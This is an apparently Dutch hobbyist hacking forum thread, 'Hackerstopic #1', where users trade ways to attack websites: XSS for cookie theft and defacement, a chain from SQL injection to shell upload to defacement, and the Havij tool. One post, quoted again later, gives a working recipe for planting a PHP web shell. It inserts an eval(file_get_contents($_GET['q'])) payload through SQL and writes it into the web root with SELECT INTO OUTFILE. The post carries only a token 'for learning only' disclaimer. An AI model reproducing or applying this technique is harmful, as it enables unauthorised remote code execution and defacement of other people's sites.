Hackerstopic #1

Sebastiaanh schreef:

Eerdere citaten tonen

Gamedealer schreef:

Iemand nog wat leuks wat je met XSS kunt?

Cookie stealing, defacing, noem maar op..

Je kunt de totale pagina verbouwen toch?

Fass schreef:

Eerdere citaten tonen

Sebastiaanh schreef:

Eerdere citaten tonen

Gamedealer schreef:

Iemand nog wat leuks wat je met XSS kunt?

Cookie stealing, defacing, noem maar op..

Je kunt de totale pagina verbouwen toch?

Ja, als het persisent XSS is wel..

Sebastiaanh schreef:

Eerdere citaten tonen

Fass schreef:

Eerdere citaten tonen

Sebastiaanh schreef:

Eerdere citaten tonen

Gamedealer schreef:

Iemand nog wat leuks wat je met XSS kunt?

Cookie stealing, defacing, noem maar op..

Je kunt de totale pagina verbouwen toch?

Ja, als het persisent XSS is wel..

Dat werkt toch bijna niet met een zoekfunctie? Aangezien hij dan niets opslaat.

Gamedealer schreef:

Eerdere citaten tonen

Sebastiaanh schreef:

Eerdere citaten tonen

Fass schreef:

Eerdere citaten tonen

Sebastiaanh schreef:

Eerdere citaten tonen

Gamedealer schreef:

Iemand nog wat leuks wat je met XSS kunt?

Cookie stealing, defacing, noem maar op..

Je kunt de totale pagina verbouwen toch?

Ja, als het persisent XSS is wel..

Dat werkt toch bijna niet met een zoekfunctie? Aangezien hij dan niets opslaat.

Nee klopt. ;p

Volgens mij zorgen die scriptkiddies er vaak voor dat je site zwart wordt met matrix-achtige achtergronden en doodshoofdjes enzo.

Fass schreef:

Volgens mij zorgen die scriptkiddies er vaak voor dat je site zwart wordt met matrix-achtige achtergronden en doodshoofdjes enzo.

Ik zou niet weten hoe, waarschijnlijk XSS?

Gamedealer schreef:

Eerdere citaten tonen

Fass schreef:

Volgens mij zorgen die scriptkiddies er vaak voor dat je site zwart wordt met matrix-achtige achtergronden en doodshoofdjes enzo.

Ik zou niet weten hoe, waarschijnlijk XSS?

SQL Injection -> Inloggen op de admin pagina -> Shell uploaden -> Defacen.

Sebastiaanh schreef:

Eerdere citaten tonen

Gamedealer schreef:

Eerdere citaten tonen

Fass schreef:

Volgens mij zorgen die scriptkiddies er vaak voor dat je site zwart wordt met matrix-achtige achtergronden en doodshoofdjes enzo.

Ik zou niet weten hoe, waarschijnlijk XSS?

SQL Injection -> Inloggen op de admin pagina -> Shell uploaden -> Defacen.

Oeh leuk. Maar je kunt toch nieteens een shell uploaden zonder uploadsysteem ?
Kan dus niet zo heel erg veel.

Gamedealer schreef:

Eerdere citaten tonen

Sebastiaanh schreef:

Eerdere citaten tonen

Gamedealer schreef:

Eerdere citaten tonen

Fass schreef:

Volgens mij zorgen die scriptkiddies er vaak voor dat je site zwart wordt met matrix-achtige achtergronden en doodshoofdjes enzo.

Ik zou niet weten hoe, waarschijnlijk XSS?

SQL Injection -> Inloggen op de admin pagina -> Shell uploaden -> Defacen.

Oeh leuk. Maar je kunt toch nieteens een shell uploaden zonder uploadsysteem ?
Kan dus niet zo heel erg veel.

Dan gooi je er een upload systeem op? Kan ook prima via image upload zooi wat in de admin page zit.
Wie wilt PHPMenno installeren op zn host waar hij niks meer mee doet? Dan kan ik het wel laten zien. Versie v5.1.5 ofzo.

Havij..

Havij doet alles voor je....! Dus, credits to:
99% Havij
1% Fanorg

Azdinnn schreef:

Havij doet alles voor je....! Dus, credits to:
99% Havij
1% Fanorg

Als jij elke keer die injectieshit weer wilt intypen, doe maar

Ben schreef:

Eerdere citaten tonen

Azdinnn schreef:

Havij doet alles voor je....! Dus, credits to:

99% Havij
1% Fanorg

Als jij elke keer die injectieshit weer wilt intypen, doe maar

Mee eens, alleen is het wel *** dat Havij niks kan veranderen in de database.

Gamedealer schreef:

Eerdere citaten tonen

Sebastiaanh schreef:

Eerdere citaten tonen

Gamedealer schreef:

Eerdere citaten tonen

Fass schreef:

Volgens mij zorgen die scriptkiddies er vaak voor dat je site zwart wordt met matrix-achtige achtergronden en doodshoofdjes enzo.

Ik zou niet weten hoe, waarschijnlijk XSS?

SQL Injection -> Inloggen op de admin pagina -> Shell uploaden -> Defacen.

Oeh leuk. Maar je kunt toch nieteens een shell uploaden zonder uploadsysteem ?
Kan dus niet zo heel erg veel.

Je kan met een aantal sql querys iets exporteren.

voorbeeld.

je hebt een tabel aangemaakt genaamd deface met het veld genaamd deface TEXT

dan voeg je jouw upload/deface shell via de INSERT functie in de database

bijvoorbeeld: INSERT INTO deface (deface)VALUES([COLOR= #0000BB]<?php[/COLOR] [URL="http://www.php.net/eval"]eval[/URL][COLOR= #007700]([/COLOR][URL="http://www.php.net/file_get_contents"]file_get_contents[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_GET[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]"q"[/COLOR][COLOR= #007700]]));[/COLOR] ?>)

zo heb je het ingevoegd

Daarna doe je het volgende:

SELECT deface FROM deface INTO OUTFILE /pad/van/host/bestandsnaam.php

en als het bijvoorbeeld dit is: /home/admin/domains/website.nl/
dan ga je naar /bestandsnaam.php en je hebt daar je shell.

Maar let op! gebruik dit alleen om te leren bij het gebruik voor eventueel black-hat hacking zijn de gevolgen voor je zelf!

Daiman schreef:

Eerdere citaten tonen

Gamedealer schreef:

Eerdere citaten tonen

Sebastiaanh schreef:

Eerdere citaten tonen

Gamedealer schreef:

Eerdere citaten tonen

Fass schreef:

Volgens mij zorgen die scriptkiddies er vaak voor dat je site zwart wordt met matrix-achtige achtergronden en doodshoofdjes enzo.

Ik zou niet weten hoe, waarschijnlijk XSS?

SQL Injection -> Inloggen op de admin pagina -> Shell uploaden -> Defacen.

Oeh leuk. Maar je kunt toch nieteens een shell uploaden zonder uploadsysteem ?
Kan dus niet zo heel erg veel.

Je kan met een aantal sql querys iets exporteren.

voorbeeld.

je hebt een tabel aangemaakt genaamd deface met het veld genaamd deface TEXT

dan voeg je jouw upload/deface shell via de INSERT functie in de database

bijvoorbeeld: INSERT INTO deface (deface)VALUES([COLOR= #0000BB]<?php[/COLOR] [URL="http://www.php.net/eval"]eval[/URL][COLOR= #007700]([/COLOR][URL="http://www.php.net/file_get_contents"]file_get_contents[/URL][COLOR= #007700]([/COLOR][COLOR= #0000BB]$_GET[/COLOR][COLOR= #007700][[/COLOR][COLOR= #DD0000]"q"[/COLOR][COLOR= #007700]]));[/COLOR] ?>)

zo heb je het ingevoegd

Daarna doe je het volgende:

SELECT deface FROM deface INTO OUTFILE /pad/van/host/bestandsnaam.php

en als het bijvoorbeeld dit is: /home/admin/domains/website.nl/
dan ga je naar /bestandsnaam.php en je hebt daar je shell.

Maar let op! gebruik dit alleen om te leren bij het gebruik voor eventueel black-hat hacking zijn de gevolgen voor je zelf!

Hoe maak je een database via sqli? Ik kan wel uitlezen etc, maar niks aanmaken, ik weet nog niet hoe dat werkt. ;s